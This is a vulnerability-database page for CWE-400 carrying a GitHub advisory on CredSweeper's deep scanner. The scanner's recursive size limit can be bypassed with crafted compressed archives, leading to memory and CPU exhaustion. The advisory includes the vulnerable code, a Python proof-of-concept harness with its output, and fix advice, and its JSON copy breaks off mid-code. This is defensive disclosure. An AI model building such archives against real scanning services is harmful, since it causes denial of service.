Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

5433 vulnerabilities reference this CWE, most recent first.

GHSA-9MQM-QCWF-5QHG

Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25
VLAI
Summary
CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources
Details

Summary

CredSweeper's deep scanner does not enforce recursive_limit_size as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and AbstractScanner.recursive_scan() continues processing even when the residual budget is already negative.

This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (--depth > 0). I confirmed this on upstream commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 / package version 1.15.8.

The issue has two closely related exploitation paths that share the same root cause:

  1. Single-stream decompressor bypass: gzip, bzip2, and lzma/xz inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.

  2. Multi-entry archive cumulative-budget bypass: zip and tar entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.

The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.

Details

The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.

The relevant call chain is:

  • credsweeper/app.py:323 self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)
  • credsweeper/deep_scanner/abstract_scanner.py:269-305 The initial deep-scan entry point passes a recursive size budget into nested scanners.
  • credsweeper/deep_scanner/abstract_scanner.py:58-94 recursive_scan() stops only on:
  • negative depth
  • data shorter than MIN_DATA_LEN It does not stop when recursive_limit_size is negative.

Exact source-level issue:

  1. Negative budgets are still accepted

credsweeper/deep_scanner/abstract_scanner.py:71-91

if 0 > depth:
    return candidates
depth -= 1
if MIN_DATA_LEN > len(data_provider.data):
    return candidates
...
new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)

There is no guard such as if recursive_limit_size < 0: return.

  1. Full decompression happens before any hard budget enforcement

credsweeper/deep_scanner/gzip_scanner.py:33-43

with gzip.open(io.BytesIO(data_provider.data)) as f:
    gzip_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(gzip_content_provider.data)
    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)

credsweeper/deep_scanner/bzip2_scanner.py:38-43

bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(bzip2_content_provider.data)
bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)

credsweeper/deep_scanner/lzma_scanner.py:38-43

lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(lzma_content_provider.data)
lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)

The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because recursive_scan() accepts negative budgets, the oversize content is still scanned.

  1. Multi-entry archives use per-entry checks instead of a shared cumulative budget

credsweeper/deep_scanner/zip_scanner.py:49-60

if 0 > recursive_limit_size - zfl.file_size:
    continue
with zf.open(zfl) as f:
    zip_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(zip_content_provider.data)
    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)

credsweeper/deep_scanner/tar_scanner.py:48-59

if 0 > recursive_limit_size - tfi.size:
    continue
with tf.extractfile(tfi) as f:
    tar_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(tar_content_provider.data)
    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)

These checks use the same original recursive_limit_size for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a zip or tar with many individually small files can exceed the intended aggregate extraction limit.

  1. Same code pattern is also present in RPM scanning

credsweeper/deep_scanner/rpm_scanner.py:42-51

The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.

Version scope:

  • The vulnerable recursive scanning logic was introduced by commit 0bd8fe56ad2e08b12d47677f7dbe1a75913969ae.
  • The last release before that commit is v1.4.8.
  • The first release containing that commit is v1.4.9.
  • Current upstream HEAD and package version 1.15.8 are still affected.

PoC

I reproduced the issue on:

  • Repository: https://github.com/Samsung/CredSweeper
  • Commit: 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
  • Version: 1.15.8

I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.

Reproduction steps:

  1. Clone the repository:
git clone https://github.com/Samsung/CredSweeper.git
cd CredSweeper
git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
  1. Save the following as proof_poc.py one directory above the repository, or adjust REPO_ROOT accordingly:
import bz2
import gzip
import importlib.util
import io
import json
import lzma
import os
import subprocess
import sys
import tarfile
import types
import zipfile

REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper"))
SOURCE_ROOT = os.path.join(REPO_ROOT, "credsweeper")

def load_module(name, relpath):
    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))
    module = importlib.util.module_from_spec(spec)
    sys.modules[name] = module
    spec.loader.exec_module(module)
    return module

def reset_credsweeper_modules():
    for name in list(sys.modules):
        if name == "credsweeper" or name.startswith("credsweeper."):
            del sys.modules[name]

def install_common_stubs():
    for name in [
        "credsweeper",
        "credsweeper.common",
        "credsweeper.config",
        "credsweeper.credentials",
        "credsweeper.deep_scanner",
        "credsweeper.file_handler",
        "credsweeper.scanner",
        "credsweeper.utils",
    ]:
        module = types.ModuleType(name)
        module.__path__ = []
        sys.modules[name] = module

    constants_module = types.ModuleType("credsweeper.common.constants")
    constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30
    constants_module.MIN_DATA_LEN = 8
    constants_module.DEFAULT_ENCODING = "utf_8"
    constants_module.UTF_8 = "utf_8"
    constants_module.MIN_VALUE_LENGTH = 4
    sys.modules["credsweeper.common.constants"] = constants_module

    config_module = types.ModuleType("credsweeper.config.config")
    class Config: pass
    config_module.Config = Config
    sys.modules["credsweeper.config.config"] = config_module

    candidate_module = types.ModuleType("credsweeper.credentials.candidate")
    class Candidate:
        @staticmethod
        def get_dummy_candidate(*_args, **_kwargs):
            return "dummy"
    candidate_module.Candidate = Candidate
    sys.modules["credsweeper.credentials.candidate"] = candidate_module

    augment_module = types.ModuleType("credsweeper.credentials.augment_candidates")
    def augment_candidates(dst, src):
        if src:
            dst.extend(src)
    augment_module.augment_candidates = augment_candidates
    sys.modules["credsweeper.credentials.augment_candidates"] = augment_module

    descriptor_module = types.ModuleType("credsweeper.file_handler.descriptor")
    class Descriptor:
        def __init__(self, extension="", info=""):
            self.extension = extension
            self.info = info
    descriptor_module.Descriptor = Descriptor
    sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module

    file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor")
    class FilePathExtractor:
        FIND_BY_EXT_RULE = "Suspicious File Extension"
        @staticmethod
        def is_find_by_ext_file(_config, _extension):
            return False
        @staticmethod
        def check_exclude_file(_config, _path):
            return False
    file_path_extractor_module.FilePathExtractor = FilePathExtractor
    sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module

    scanner_module = types.ModuleType("credsweeper.scanner.scanner")
    class Scanner: pass
    scanner_module.Scanner = Scanner
    sys.modules["credsweeper.scanner.scanner"] = scanner_module

    util_module = types.ModuleType("credsweeper.utils.util")
    class Util:
        @staticmethod
        def get_extension(path, lower=True):
            ext = os.path.splitext(str(path))[1]
            return ext.lower() if lower else ext
    util_module.Util = Util
    sys.modules["credsweeper.utils.util"] = util_module

    content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider")
    class ContentProvider: pass
    content_provider_module.ContentProvider = ContentProvider
    sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module

    data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider")
    class DataContentProvider:
        def __init__(self, data, file_path=None, file_type=None, info=None):
            self.data = data
            self.file_path = file_path or ""
            self.file_type = file_type or ""
            self.info = info or ""
            self.descriptor = Descriptor(extension=self.file_type, info=self.info)
    data_content_provider_module.DataContentProvider = DataContentProvider
    sys.modules["credsweeper.file_handler.data_content_provider"] = data_content_provider_module

    def install_provider_stub(module_name, class_name):
        module = types.ModuleType(module_name)
        class Provider:
            def __init__(self, *args, **kwargs):
                for key, value in kwargs.items():
                    setattr(self, key, value)
        setattr(module, class_name, Provider)
        sys.modules[module_name] = module

    install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider")
    install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider")
    install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider")
    install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider")
    install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider")

def get_head_commit():
    return subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip()

def get_package_version():
    init_path = os.path.join(SOURCE_ROOT, "__init__.py")
    with open(init_path, "r", encoding="utf-8") as handle:
        for line in handle:
            if line.strip().startswith("__version__ = "):
                return line.split("=", 1)[1].strip().strip('"')
    raise RuntimeError("Cannot locate __version__")

def load_scanners():
    reset_credsweeper_modules()
    install_common_stubs()
    abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py")
    gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py")
    bzip2_module = load_module("credsweeper.deep_scanner.bzip2_scanner", "deep_scanner/bzip2_scanner.py")
    lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py")
    zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py")
    tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py")
    provider_module = sys.modules["credsweeper.file_handler.data_content_provider"]
    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module

class RecordingRecursiveCalls:
    def __init__(self):
        self.calls = []
        self.config = object()
    def recursive_scan(self, data_provider, depth, recursive_limit_size):
        self.calls.append({
            "path": data_provider.file_path,
            "len": len(data_provider.data),
            "limit": recursive_limit_size,
            "info": data_provider.info,
            "depth": depth,
        })
        return []

def build_compressed_payloads(payload):
    gzip_buffer = io.BytesIO()
    with gzip.GzipFile(fileobj=gzip_buffer, mode="wb") as handle:
        handle.write(payload)
    return {
        "gzip": gzip_buffer.getvalue(),
        "bzip2": bz2.compress(payload),
        "lzma": lzma.compress(payload),
    }

def proof_negative_budget_after_full_decompression():
    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    payload = b"A" * 64
    recursive_limit_size = 16
    compressed_payloads = build_compressed_payloads(payload)
    results = []
    for name, module, file_name in [
        ("gzip", gzip_module, "proof.txt.gz"),
        ("bzip2", bzip2_module, "proof.txt.bz2"),
        ("lzma", lzma_module, "proof.txt.xz"),
    ]:
        recorder = RecordingRecursiveCalls()
        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f"FILE:{file_name}")
        scanner_class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner")
        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
        results.append({
            "format": name,
            "compressed_size": len(compressed_payloads[name]),
            "decompressed_size": recorder.calls[0]["len"],
            "configured_limit": recursive_limit_size,
            "residual_limit_seen_by_recursive_scan": recorder.calls[0]["limit"],
            "recursive_call": recorder.calls[0],
        })
    return results

def proof_negative_budget_not_rejected():
    abstract_module, _, _, _, _, _, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    AbstractScanner = abstract_module.AbstractScanner
    class DemoScanner(AbstractScanner):
        @property
        def config(self):
            return object()
        @property
        def scanner(self):
            return object()
        def data_scan(self, data_provider, depth, recursive_limit_size):
            return []
        @staticmethod
        def get_deep_scanners(data, descriptor, depth):
            return [], []
        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):
            self.proof = {
                "data_len": len(data_provider.data),
                "depth": depth,
                "recursive_limit_size": recursive_limit_size,
            }
            return []
    demo = DemoScanner()
    provider = DataContentProvider(b"A" * 64, file_path="oversize.txt", file_type=".txt", info="FILE:oversize.txt")
    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)
    return demo.proof

def proof_cumulative_budget_bypass_in_multi_entry_archives():
    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    recursive_limit_size = 16
    member_size = 12

    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as archive:
        archive.writestr("a.txt", b"A" * member_size)
        archive.writestr("b.txt", b"B" * member_size)

    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode="w") as archive:
        for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]:
            payload = fill * member_size
            info = tarfile.TarInfo(name)
            info.size = len(payload)
            archive.addfile(info, io.BytesIO(payload))

    results = []
    for name, module, data, scanner_name in [
        ("zip", zip_module, zip_buffer.getvalue(), "ZipScanner"),
        ("tar", tar_module, tar_buffer.getvalue(), "TarScanner"),
    ]:
        recorder = RecordingRecursiveCalls()
        provider = DataContentProvider(data, file_path=f"proof.{name}", file_type=f".{name}", info=f"FILE:proof.{name}")
        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
        results.append({
            "format": name,
            "configured_limit": recursive_limit_size,
            "member_size": member_size,
            "member_count": len(recorder.calls),
            "total_extracted_bytes": sum(call["len"] for call in recorder.calls),
            "recursive_calls": recorder.calls,
        })
    return results

print(json.dumps({
    "head_commit": get_head_commit(),
    "package_version": get_package_version(),
    "proof_1_negative_budget_after_full_decompression": proof_negative_budget_after_full_decompression(),
    "proof_2_negative_budget_not_rejected": proof_negative_budget_not_rejected(),
    "proof_3_cumulative_budget_bypass_in_multi_entry_archives": proof_cumulative_budget_bypass_in_multi_entry_archives(),
}, indent=2, sort_keys=True))
  1. Run it with Python 3:
python proof_poc.py
  1. Expected/observed output from my run on commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6:
{
  "head_commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6",
  "package_version": "1.15.8",
  "proof_1_negative_budget_after_full_decompression": [
    {
      "format": "gzip",
      "compressed_size": 24,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    },
    {
      "format": "bzip2",
      "compressed_size": 39,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    },
    {
      "format": "lzma",
      "compressed_size": 68,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    }
  ],
  "proof_2_negative_budget_not_rejected": {
    "data_len": 64,
    "depth": 0,
    "recursive_limit_size": -48
  },
  "proof_3_cumulative_budget_bypass_in_multi_entry_archives": [
    {
      "format": "zip",
      "configured_limit": 16,
      "member_size": 12,
      "member_count": 2,
      "total_extracted_bytes": 24
    },
    {
      "format": "tar",
      "configured_limit": 16,
      "member_size": 12,
      "member_count": 2,
      "total_extracted_bytes": 24
    }
  ]
}

What this proves:

  • GZIP/BZIP2/LZMA: With a configured recursive limit of 16, CredSweeper still fully inflates a 64 byte payload and then continues recursion with a residual limit of -48.

  • AbstractScanner: The negative budget is not rejected. recursive_scan() still dispatches into deep_scan_with_fallback() with recursive_limit_size = -48.

  • ZIP/TAR: A configured limit of 16 still allows two 12 byte members to be processed, for a total extracted size of 24.

This is a complete end-to-end proof of the root cause and both exploitation variants.

Impact

This is an availability / resource-exhaustion vulnerability.

Who is impacted:

  • Users who run CredSweeper with deep scanning enabled (--depth > 0) on untrusted repositories, archives, or binary inputs.
  • CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.
  • Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.

Practical consequences:

  • Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.
  • Archive inputs with many individually small members can exceed the configured budget in aggregate.
  • Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.

Security classification:

  • Primary weakness: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
  • Related weakness: CWE-400: Uncontrolled Resource Consumption

I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.

Mitigation

I recommend fixing this in three layers:

  1. Add a hard negative-budget guard in recursive_scan() and structure_scan()

Before any recursive dispatch, abort when recursive_limit_size < 0.

  1. Enforce limits before or during decompression, not after full materialization

  2. gzip, bzip2, lzma/xz should use bounded incremental decompression / bounded reads.

  3. If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.

  4. Track a mutable cumulative budget across sibling archive members

  5. zip, tar, and rpm should share a remaining-budget counter across entries.

  6. After one child is accepted, decrement the shared remaining budget before processing the next sibling.

Recommended regression tests:

  • A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.
  • Equivalent tests for bzip2 and lzma/xz.
  • A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.
  • A direct unit test for recursive_scan() showing that negative recursive_limit_size stops recursion immediately.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "credsweeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.9"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:25:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nCredSweeper\u0027s deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative.\n\nThis allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth \u003e 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`.\n\nThe issue has two closely related exploitation paths that share the same root cause:\n\n1. Single-stream decompressor bypass:\n   `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.\n\n2. Multi-entry archive cumulative-budget bypass:\n   `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.\n\nThe impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.\n\n### Details\nThe vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.\n\nThe relevant call chain is:\n\n- `credsweeper/app.py:323`\n  `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)`\n- `credsweeper/deep_scanner/abstract_scanner.py:269-305`\n  The initial deep-scan entry point passes a recursive size budget into nested scanners.\n- `credsweeper/deep_scanner/abstract_scanner.py:58-94`\n  `recursive_scan()` stops only on:\n  - negative depth\n  - data shorter than `MIN_DATA_LEN`\n  It does **not** stop when `recursive_limit_size` is negative.\n\nExact source-level issue:\n\n1. Negative budgets are still accepted\n\n`credsweeper/deep_scanner/abstract_scanner.py:71-91`\n\n```python\nif 0 \u003e depth:\n    return candidates\ndepth -= 1\nif MIN_DATA_LEN \u003e len(data_provider.data):\n    return candidates\n...\nnew_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)\n```\n\nThere is no guard such as `if recursive_limit_size \u003c 0: return`.\n\n2. Full decompression happens before any hard budget enforcement\n\n`credsweeper/deep_scanner/gzip_scanner.py:33-43`\n\n```python\nwith gzip.open(io.BytesIO(data_provider.data)) as f:\n    gzip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(gzip_content_provider.data)\n    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/bzip2_scanner.py:38-43`\n\n```python\nbzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(bzip2_content_provider.data)\nbzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/lzma_scanner.py:38-43`\n\n```python\nlzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(lzma_content_provider.data)\nlzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)\n```\n\nThe decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned.\n\n3. Multi-entry archives use per-entry checks instead of a shared cumulative budget\n\n`credsweeper/deep_scanner/zip_scanner.py:49-60`\n\n```python\nif 0 \u003e recursive_limit_size - zfl.file_size:\n    continue\nwith zf.open(zfl) as f:\n    zip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(zip_content_provider.data)\n    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/tar_scanner.py:48-59`\n\n```python\nif 0 \u003e recursive_limit_size - tfi.size:\n    continue\nwith tf.extractfile(tfi) as f:\n    tar_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(tar_content_provider.data)\n    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)\n```\n\nThese checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit.\n\n4. Same code pattern is also present in RPM scanning\n\n`credsweeper/deep_scanner/rpm_scanner.py:42-51`\n\nThe RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.\n\nVersion scope:\n\n- The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`.\n- The last release before that commit is `v1.4.8`.\n- The first release containing that commit is `v1.4.9`.\n- Current upstream HEAD and package version `1.15.8` are still affected.\n\n### PoC\nI reproduced the issue on:\n\n- Repository: `https://github.com/Samsung/CredSweeper`\n- Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`\n- Version: `1.15.8`\n\nI used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python\u0027s standard library.\n\nReproduction steps:\n\n1. Clone the repository:\n\n```bash\ngit clone https://github.com/Samsung/CredSweeper.git\ncd CredSweeper\ngit checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\n```\n\n2. Save the following as `proof_poc.py` one directory above the repository, or adjust `REPO_ROOT` accordingly:\n\n```python\nimport bz2\nimport gzip\nimport importlib.util\nimport io\nimport json\nimport lzma\nimport os\nimport subprocess\nimport sys\nimport tarfile\nimport types\nimport zipfile\n\nREPO_ROOT = os.path.abspath(os.environ.get(\"CREDSWEEPER_REPO\", \"CredSweeper\"))\nSOURCE_ROOT = os.path.join(REPO_ROOT, \"credsweeper\")\n\ndef load_module(name, relpath):\n    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[name] = module\n    spec.loader.exec_module(module)\n    return module\n\ndef reset_credsweeper_modules():\n    for name in list(sys.modules):\n        if name == \"credsweeper\" or name.startswith(\"credsweeper.\"):\n            del sys.modules[name]\n\ndef install_common_stubs():\n    for name in [\n        \"credsweeper\",\n        \"credsweeper.common\",\n        \"credsweeper.config\",\n        \"credsweeper.credentials\",\n        \"credsweeper.deep_scanner\",\n        \"credsweeper.file_handler\",\n        \"credsweeper.scanner\",\n        \"credsweeper.utils\",\n    ]:\n        module = types.ModuleType(name)\n        module.__path__ = []\n        sys.modules[name] = module\n\n    constants_module = types.ModuleType(\"credsweeper.common.constants\")\n    constants_module.RECURSIVE_SCAN_LIMITATION = 1 \u003c\u003c 30\n    constants_module.MIN_DATA_LEN = 8\n    constants_module.DEFAULT_ENCODING = \"utf_8\"\n    constants_module.UTF_8 = \"utf_8\"\n    constants_module.MIN_VALUE_LENGTH = 4\n    sys.modules[\"credsweeper.common.constants\"] = constants_module\n\n    config_module = types.ModuleType(\"credsweeper.config.config\")\n    class Config: pass\n    config_module.Config = Config\n    sys.modules[\"credsweeper.config.config\"] = config_module\n\n    candidate_module = types.ModuleType(\"credsweeper.credentials.candidate\")\n    class Candidate:\n        @staticmethod\n        def get_dummy_candidate(*_args, **_kwargs):\n            return \"dummy\"\n    candidate_module.Candidate = Candidate\n    sys.modules[\"credsweeper.credentials.candidate\"] = candidate_module\n\n    augment_module = types.ModuleType(\"credsweeper.credentials.augment_candidates\")\n    def augment_candidates(dst, src):\n        if src:\n            dst.extend(src)\n    augment_module.augment_candidates = augment_candidates\n    sys.modules[\"credsweeper.credentials.augment_candidates\"] = augment_module\n\n    descriptor_module = types.ModuleType(\"credsweeper.file_handler.descriptor\")\n    class Descriptor:\n        def __init__(self, extension=\"\", info=\"\"):\n            self.extension = extension\n            self.info = info\n    descriptor_module.Descriptor = Descriptor\n    sys.modules[\"credsweeper.file_handler.descriptor\"] = descriptor_module\n\n    file_path_extractor_module = types.ModuleType(\"credsweeper.file_handler.file_path_extractor\")\n    class FilePathExtractor:\n        FIND_BY_EXT_RULE = \"Suspicious File Extension\"\n        @staticmethod\n        def is_find_by_ext_file(_config, _extension):\n            return False\n        @staticmethod\n        def check_exclude_file(_config, _path):\n            return False\n    file_path_extractor_module.FilePathExtractor = FilePathExtractor\n    sys.modules[\"credsweeper.file_handler.file_path_extractor\"] = file_path_extractor_module\n\n    scanner_module = types.ModuleType(\"credsweeper.scanner.scanner\")\n    class Scanner: pass\n    scanner_module.Scanner = Scanner\n    sys.modules[\"credsweeper.scanner.scanner\"] = scanner_module\n\n    util_module = types.ModuleType(\"credsweeper.utils.util\")\n    class Util:\n        @staticmethod\n        def get_extension(path, lower=True):\n            ext = os.path.splitext(str(path))[1]\n            return ext.lower() if lower else ext\n    util_module.Util = Util\n    sys.modules[\"credsweeper.utils.util\"] = util_module\n\n    content_provider_module = types.ModuleType(\"credsweeper.file_handler.content_provider\")\n    class ContentProvider: pass\n    content_provider_module.ContentProvider = ContentProvider\n    sys.modules[\"credsweeper.file_handler.content_provider\"] = content_provider_module\n\n    data_content_provider_module = types.ModuleType(\"credsweeper.file_handler.data_content_provider\")\n    class DataContentProvider:\n        def __init__(self, data, file_path=None, file_type=None, info=None):\n            self.data = data\n            self.file_path = file_path or \"\"\n            self.file_type = file_type or \"\"\n            self.info = info or \"\"\n            self.descriptor = Descriptor(extension=self.file_type, info=self.info)\n    data_content_provider_module.DataContentProvider = DataContentProvider\n    sys.modules[\"credsweeper.file_handler.data_content_provider\"] = data_content_provider_module\n\n    def install_provider_stub(module_name, class_name):\n        module = types.ModuleType(module_name)\n        class Provider:\n            def __init__(self, *args, **kwargs):\n                for key, value in kwargs.items():\n                    setattr(self, key, value)\n        setattr(module, class_name, Provider)\n        sys.modules[module_name] = module\n\n    install_provider_stub(\"credsweeper.file_handler.byte_content_provider\", \"ByteContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.diff_content_provider\", \"DiffContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.string_content_provider\", \"StringContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.struct_content_provider\", \"StructContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.text_content_provider\", \"TextContentProvider\")\n\ndef get_head_commit():\n    return subprocess.check_output([\"git\", \"rev-parse\", \"HEAD\"], cwd=REPO_ROOT, text=True).strip()\n\ndef get_package_version():\n    init_path = os.path.join(SOURCE_ROOT, \"__init__.py\")\n    with open(init_path, \"r\", encoding=\"utf-8\") as handle:\n        for line in handle:\n            if line.strip().startswith(\"__version__ = \"):\n                return line.split(\"=\", 1)[1].strip().strip(\u0027\"\u0027)\n    raise RuntimeError(\"Cannot locate __version__\")\n\ndef load_scanners():\n    reset_credsweeper_modules()\n    install_common_stubs()\n    abstract_module = load_module(\"credsweeper.deep_scanner.abstract_scanner\", \"deep_scanner/abstract_scanner.py\")\n    gzip_module = load_module(\"credsweeper.deep_scanner.gzip_scanner\", \"deep_scanner/gzip_scanner.py\")\n    bzip2_module = load_module(\"credsweeper.deep_scanner.bzip2_scanner\", \"deep_scanner/bzip2_scanner.py\")\n    lzma_module = load_module(\"credsweeper.deep_scanner.lzma_scanner\", \"deep_scanner/lzma_scanner.py\")\n    zip_module = load_module(\"credsweeper.deep_scanner.zip_scanner\", \"deep_scanner/zip_scanner.py\")\n    tar_module = load_module(\"credsweeper.deep_scanner.tar_scanner\", \"deep_scanner/tar_scanner.py\")\n    provider_module = sys.modules[\"credsweeper.file_handler.data_content_provider\"]\n    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, 